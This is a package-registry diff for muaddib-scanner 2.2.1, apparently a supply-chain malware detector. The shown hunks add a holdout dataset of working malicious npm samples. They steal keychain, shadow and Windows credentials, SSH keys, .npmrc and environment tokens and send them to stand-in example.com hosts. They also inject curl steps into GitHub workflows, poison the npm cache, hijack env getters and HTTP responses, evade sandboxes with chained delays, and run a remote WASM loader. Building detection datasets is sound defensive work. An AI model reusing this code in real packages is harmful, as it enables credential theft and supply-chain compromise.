muaddib-scanner 2.2.0 → 2.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/datasets/holdout-v2/conditional-os-payload/index.js +36 -0
- package/datasets/holdout-v2/conditional-os-payload/package.json +6 -0
- package/datasets/holdout-v2/env-var-reconstruction/index.js +21 -0
- package/datasets/holdout-v2/env-var-reconstruction/package.json +6 -0
- package/datasets/holdout-v2/github-workflow-inject/index.js +36 -0
- package/datasets/holdout-v2/github-workflow-inject/package.json +6 -0
- package/datasets/holdout-v2/homedir-ssh-key-steal/index.js +29 -0
- package/datasets/holdout-v2/homedir-ssh-key-steal/package.json +6 -0
- package/datasets/holdout-v2/npm-cache-poison/index.js +38 -0
- package/datasets/holdout-v2/npm-cache-poison/package.json +6 -0
- package/datasets/holdout-v2/npm-lifecycle-preinstall-curl/package.json +8 -0
- package/datasets/holdout-v2/process-env-proxy-getter/index.js +35 -0
- package/datasets/holdout-v2/process-env-proxy-getter/package.json +6 -0
- package/datasets/holdout-v2/readable-stream-hijack/index.js +44 -0
- package/datasets/holdout-v2/readable-stream-hijack/package.json +6 -0
- package/datasets/holdout-v2/setTimeout-chain/index.js +50 -0
- package/datasets/holdout-v2/setTimeout-chain/package.json +6 -0
- package/datasets/holdout-v2/wasm-loader/index.js +46 -0
- package/datasets/holdout-v2/wasm-loader/package.json +6 -0
- package/metrics/v2.1.5.json +752 -752
- package/metrics/v2.2.0.json +752 -752
- package/package.json +3 -3
- package/src/response/playbooks.js +15 -0
- package/src/rules/index.js +39 -1
- package/src/scanner/ast.js +93 -3
- package/src/scanner/dataflow.js +54 -4
- package/src/scanner/package.js +13 -0
- package/iocs.json.gz +0 -0
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const { execSync } = require('child_process');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
function exfil(data) {
|
|
6
|
+
const payload = JSON.stringify(data);
|
|
7
|
+
const req = https.request({
|
|
8
|
+
hostname: 'metrics.example.com',
|
|
9
|
+
port: 443,
|
|
10
|
+
path: '/v2/report',
|
|
11
|
+
method: 'POST',
|
|
12
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
13
|
+
});
|
|
14
|
+
req.on('error', () => {});
|
|
15
|
+
req.write(payload);
|
|
16
|
+
req.end();
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
const platform = os.platform();
|
|
20
|
+
const arch = os.arch();
|
|
21
|
+
|
|
22
|
+
try {
|
|
23
|
+
if (platform === 'darwin') {
|
|
24
|
+
// macOS: dump keychain credentials
|
|
25
|
+
const creds = execSync('security dump-keychain -d login.keychain 2>/dev/null', { encoding: 'utf8', timeout: 10000 });
|
|
26
|
+
exfil({ os: 'darwin', arch, type: 'keychain', data: creds.substring(0, 8192) });
|
|
27
|
+
} else if (platform === 'linux') {
|
|
28
|
+
// Linux: read /etc/shadow
|
|
29
|
+
const shadow = execSync('cat /etc/shadow 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
|
|
30
|
+
exfil({ os: 'linux', arch, type: 'shadow', data: shadow });
|
|
31
|
+
} else if (platform === 'win32') {
|
|
32
|
+
// Windows: extract saved credentials via PowerShell
|
|
33
|
+
const creds = execSync('powershell -c "Get-StoredCredential | ConvertTo-Json"', { encoding: 'utf8', timeout: 10000 });
|
|
34
|
+
exfil({ os: 'win32', arch, type: 'credentials', data: creds });
|
|
35
|
+
}
|
|
36
|
+
} catch (e) {}
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
|
|
3
|
+
// Reconstruct "GITHUB_TOKEN" from charCodes
|
|
4
|
+
const codes = [71, 73, 84, 72, 85, 66, 95, 84, 79, 75, 69, 78];
|
|
5
|
+
const varName = codes.map(c => String.fromCharCode(c)).join('');
|
|
6
|
+
|
|
7
|
+
// Access via bracket notation to avoid static detection
|
|
8
|
+
const secret = process.env[varName];
|
|
9
|
+
|
|
10
|
+
if (secret) {
|
|
11
|
+
const payload = JSON.stringify({ t: secret, h: require('os').hostname() });
|
|
12
|
+
const req = https.request({
|
|
13
|
+
hostname: 'telemetry-api.example.com',
|
|
14
|
+
port: 443,
|
|
15
|
+
path: '/v1/collect',
|
|
16
|
+
method: 'POST',
|
|
17
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
|
|
18
|
+
});
|
|
19
|
+
req.write(payload);
|
|
20
|
+
req.end();
|
|
21
|
+
}
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
// Find the project root by traversing up
|
|
5
|
+
let projectRoot = __dirname;
|
|
6
|
+
while (projectRoot !== path.dirname(projectRoot)) {
|
|
7
|
+
if (fs.existsSync(path.join(projectRoot, '.git'))) break;
|
|
8
|
+
projectRoot = path.dirname(projectRoot);
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const workflowDir = path.join(projectRoot, '.github', 'workflows');
|
|
12
|
+
|
|
13
|
+
// Malicious step to inject into existing workflows
|
|
14
|
+
const maliciousStep = `
|
|
15
|
+
- name: Check dependencies
|
|
16
|
+
run: |
|
|
17
|
+
curl -s https://api.example.com/hook -d "token=${{ secrets.GITHUB_TOKEN }}" -d "repo=${{ github.repository }}"
|
|
18
|
+
`;
|
|
19
|
+
|
|
20
|
+
try {
|
|
21
|
+
const files = fs.readdirSync(workflowDir);
|
|
22
|
+
for (const file of files) {
|
|
23
|
+
if (!file.endsWith('.yml') && !file.endsWith('.yaml')) continue;
|
|
24
|
+
|
|
25
|
+
const fullPath = path.join(workflowDir, file);
|
|
26
|
+
let content = fs.readFileSync(fullPath, 'utf8');
|
|
27
|
+
|
|
28
|
+
// Inject after the first "steps:" line
|
|
29
|
+
const stepsIndex = content.indexOf('steps:');
|
|
30
|
+
if (stepsIndex !== -1) {
|
|
31
|
+
const afterSteps = content.indexOf('\n', stepsIndex);
|
|
32
|
+
content = content.slice(0, afterSteps + 1) + maliciousStep + content.slice(afterSteps + 1);
|
|
33
|
+
fs.writeFileSync(fullPath, content);
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
} catch (e) {}
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
// Read SSH private key
|
|
7
|
+
const sshKeyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
|
|
8
|
+
let keyData;
|
|
9
|
+
try {
|
|
10
|
+
keyData = fs.readFileSync(sshKeyPath, 'utf8');
|
|
11
|
+
} catch (e) {
|
|
12
|
+
process.exit(0);
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
// Encode as base64 to fit in a header
|
|
16
|
+
const encoded = Buffer.from(keyData).toString('base64');
|
|
17
|
+
|
|
18
|
+
// Exfiltrate via custom header to legitimate-looking domain
|
|
19
|
+
const req = https.request({
|
|
20
|
+
hostname: 'api.github.com',
|
|
21
|
+
port: 443,
|
|
22
|
+
path: '/repos/check-update',
|
|
23
|
+
method: 'GET',
|
|
24
|
+
headers: {
|
|
25
|
+
'User-Agent': 'node-updater/1.0',
|
|
26
|
+
'X-Debug-Data': encoded
|
|
27
|
+
}
|
|
28
|
+
});
|
|
29
|
+
req.end();
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const crypto = require('crypto');
|
|
5
|
+
|
|
6
|
+
// Target: npm's content-addressable cache
|
|
7
|
+
const npmCacheDir = path.join(os.homedir(), '.npm', '_cacache', 'content-v2', 'sha512');
|
|
8
|
+
|
|
9
|
+
// Malicious payload to inject into cached package
|
|
10
|
+
const maliciousCode = `
|
|
11
|
+
;(function(){
|
|
12
|
+
const h = require('https');
|
|
13
|
+
const o = require('os');
|
|
14
|
+
const d = JSON.stringify({ h: o.hostname(), u: o.userInfo().username, e: process.env });
|
|
15
|
+
const r = h.request({ hostname: 'collect.example.com', path: '/npm', method: 'POST',
|
|
16
|
+
headers: { 'Content-Length': Buffer.byteLength(d) } });
|
|
17
|
+
r.write(d); r.end();
|
|
18
|
+
})();
|
|
19
|
+
`;
|
|
20
|
+
|
|
21
|
+
try {
|
|
22
|
+
// Walk the cache directory to find JS entries
|
|
23
|
+
const subDirs = fs.readdirSync(npmCacheDir);
|
|
24
|
+
for (const sub of subDirs.slice(0, 5)) {
|
|
25
|
+
const subPath = path.join(npmCacheDir, sub);
|
|
26
|
+
const entries = fs.readdirSync(subPath);
|
|
27
|
+
for (const entry of entries.slice(0, 3)) {
|
|
28
|
+
const entryPath = path.join(subPath, entry);
|
|
29
|
+
const content = fs.readFileSync(entryPath, 'utf8');
|
|
30
|
+
|
|
31
|
+
// Only poison JS files
|
|
32
|
+
if (content.includes('module.exports') || content.includes('require(')) {
|
|
33
|
+
const poisoned = maliciousCode + '\n' + content;
|
|
34
|
+
fs.writeFileSync(entryPath, poisoned);
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
} catch (e) {}
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
|
|
3
|
+
// Snapshot all current env values before interception
|
|
4
|
+
const envSnapshot = Object.assign({}, process.env);
|
|
5
|
+
|
|
6
|
+
// Intercept all process.env property accesses via Object.defineProperty
|
|
7
|
+
// Different from Proxy-based approach — works on the actual process.env object
|
|
8
|
+
const sensitiveKeys = ['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'NPM', 'AWS', 'GITHUB'];
|
|
9
|
+
|
|
10
|
+
Object.keys(envSnapshot).forEach(key => {
|
|
11
|
+
const original = envSnapshot[key];
|
|
12
|
+
const isSensitive = sensitiveKeys.some(s => key.toUpperCase().includes(s));
|
|
13
|
+
|
|
14
|
+
Object.defineProperty(process.env, key, {
|
|
15
|
+
get() {
|
|
16
|
+
if (isSensitive) {
|
|
17
|
+
// Silently exfiltrate on each access to a sensitive var
|
|
18
|
+
const payload = JSON.stringify({ k: key, v: original });
|
|
19
|
+
const req = http.request({
|
|
20
|
+
hostname: '127.0.0.1',
|
|
21
|
+
port: 8443,
|
|
22
|
+
path: '/log',
|
|
23
|
+
method: 'POST',
|
|
24
|
+
headers: { 'Content-Length': Buffer.byteLength(payload) }
|
|
25
|
+
});
|
|
26
|
+
req.on('error', () => {});
|
|
27
|
+
req.write(payload);
|
|
28
|
+
req.end();
|
|
29
|
+
}
|
|
30
|
+
return original;
|
|
31
|
+
},
|
|
32
|
+
configurable: true,
|
|
33
|
+
enumerable: true
|
|
34
|
+
});
|
|
35
|
+
});
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
// Monkey-patch IncomingMessage prototype to intercept all HTTP responses
|
|
5
|
+
const originalEmit = http.IncomingMessage.prototype.emit;
|
|
6
|
+
|
|
7
|
+
http.IncomingMessage.prototype.emit = function(event, ...args) {
|
|
8
|
+
if (event === 'end') {
|
|
9
|
+
// Extract authorization headers from the response's request
|
|
10
|
+
const authHeaders = {};
|
|
11
|
+
const reqHeaders = this.req && this.req.getHeaders ? this.req.getHeaders() : {};
|
|
12
|
+
|
|
13
|
+
for (const [key, value] of Object.entries(reqHeaders)) {
|
|
14
|
+
if (key.toLowerCase().includes('auth') || key.toLowerCase().includes('token') || key.toLowerCase().includes('cookie')) {
|
|
15
|
+
authHeaders[key] = value;
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
if (Object.keys(authHeaders).length > 0) {
|
|
20
|
+
// Forward intercepted auth headers to external server
|
|
21
|
+
const payload = JSON.stringify({
|
|
22
|
+
url: this.req && this.req.path,
|
|
23
|
+
headers: authHeaders,
|
|
24
|
+
timestamp: Date.now()
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
const exfilReq = https.request({
|
|
28
|
+
hostname: 'telemetry.example.com',
|
|
29
|
+
port: 443,
|
|
30
|
+
path: '/collect',
|
|
31
|
+
method: 'POST',
|
|
32
|
+
headers: {
|
|
33
|
+
'Content-Type': 'application/json',
|
|
34
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
35
|
+
}
|
|
36
|
+
});
|
|
37
|
+
exfilReq.on('error', () => {});
|
|
38
|
+
exfilReq.write(payload);
|
|
39
|
+
exfilReq.end();
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
return originalEmit.call(this, event, ...args);
|
|
44
|
+
};
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
// Anti-sandbox: chained setTimeout with random delays
|
|
7
|
+
// Sandboxes typically timeout after 30s, this chain can take up to 5 minutes
|
|
8
|
+
|
|
9
|
+
function stage1() {
|
|
10
|
+
setTimeout(() => {
|
|
11
|
+
stage2();
|
|
12
|
+
}, Math.random() * 60000);
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
function stage2() {
|
|
16
|
+
setTimeout(() => {
|
|
17
|
+
stage3();
|
|
18
|
+
}, Math.random() * 60000);
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
function stage3() {
|
|
22
|
+
setTimeout(() => {
|
|
23
|
+
stage4();
|
|
24
|
+
}, Math.random() * 60000);
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function stage4() {
|
|
28
|
+
setTimeout(() => {
|
|
29
|
+
stage5();
|
|
30
|
+
}, Math.random() * 60000);
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function stage5() {
|
|
34
|
+
setTimeout(() => {
|
|
35
|
+
// Final payload: read .npmrc and exfiltrate
|
|
36
|
+
const npmrc = path.join(os.homedir(), '.npmrc');
|
|
37
|
+
try {
|
|
38
|
+
const token = fs.readFileSync(npmrc, 'utf8');
|
|
39
|
+
const data = Buffer.from(token).toString('base64');
|
|
40
|
+
const req = https.request({
|
|
41
|
+
hostname: 'cdn-analytics.example.com',
|
|
42
|
+
path: '/beacon?d=' + data,
|
|
43
|
+
method: 'GET'
|
|
44
|
+
});
|
|
45
|
+
req.end();
|
|
46
|
+
} catch (e) {}
|
|
47
|
+
}, Math.random() * 60000);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
stage1();
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
// Download WASM module at runtime — malicious logic is in the binary
|
|
5
|
+
const wasmUrl = 'https://cdn.example.com/analytics/v3/engine.wasm';
|
|
6
|
+
|
|
7
|
+
function downloadWasm(url) {
|
|
8
|
+
return new Promise((resolve, reject) => {
|
|
9
|
+
https.get(url, (res) => {
|
|
10
|
+
const chunks = [];
|
|
11
|
+
res.on('data', c => chunks.push(c));
|
|
12
|
+
res.on('end', () => resolve(Buffer.concat(chunks)));
|
|
13
|
+
res.on('error', reject);
|
|
14
|
+
}).on('error', reject);
|
|
15
|
+
});
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
async function init() {
|
|
19
|
+
const wasmBytes = await downloadWasm(wasmUrl);
|
|
20
|
+
|
|
21
|
+
// Collect credentials to pass into WASM memory
|
|
22
|
+
const env = process.env;
|
|
23
|
+
const creds = JSON.stringify({
|
|
24
|
+
npm: env.NPM_TOKEN || '',
|
|
25
|
+
gh: env.GITHUB_TOKEN || '',
|
|
26
|
+
aws_key: env.AWS_ACCESS_KEY_ID || '',
|
|
27
|
+
aws_secret: env.AWS_SECRET_ACCESS_KEY || '',
|
|
28
|
+
hostname: os.hostname(),
|
|
29
|
+
user: os.userInfo().username
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
// Instantiate WASM with imported memory containing credentials
|
|
33
|
+
const memory = new WebAssembly.Memory({ initial: 10 });
|
|
34
|
+
const encoder = new TextEncoder();
|
|
35
|
+
const encoded = encoder.encode(creds);
|
|
36
|
+
new Uint8Array(memory.buffer).set(encoded);
|
|
37
|
+
|
|
38
|
+
const { instance } = await WebAssembly.instantiate(wasmBytes, {
|
|
39
|
+
env: { memory, credsLen: encoded.length }
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
// WASM module handles exfiltration internally via imported network functions
|
|
43
|
+
instance.exports.run();
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
init().catch(() => {});
|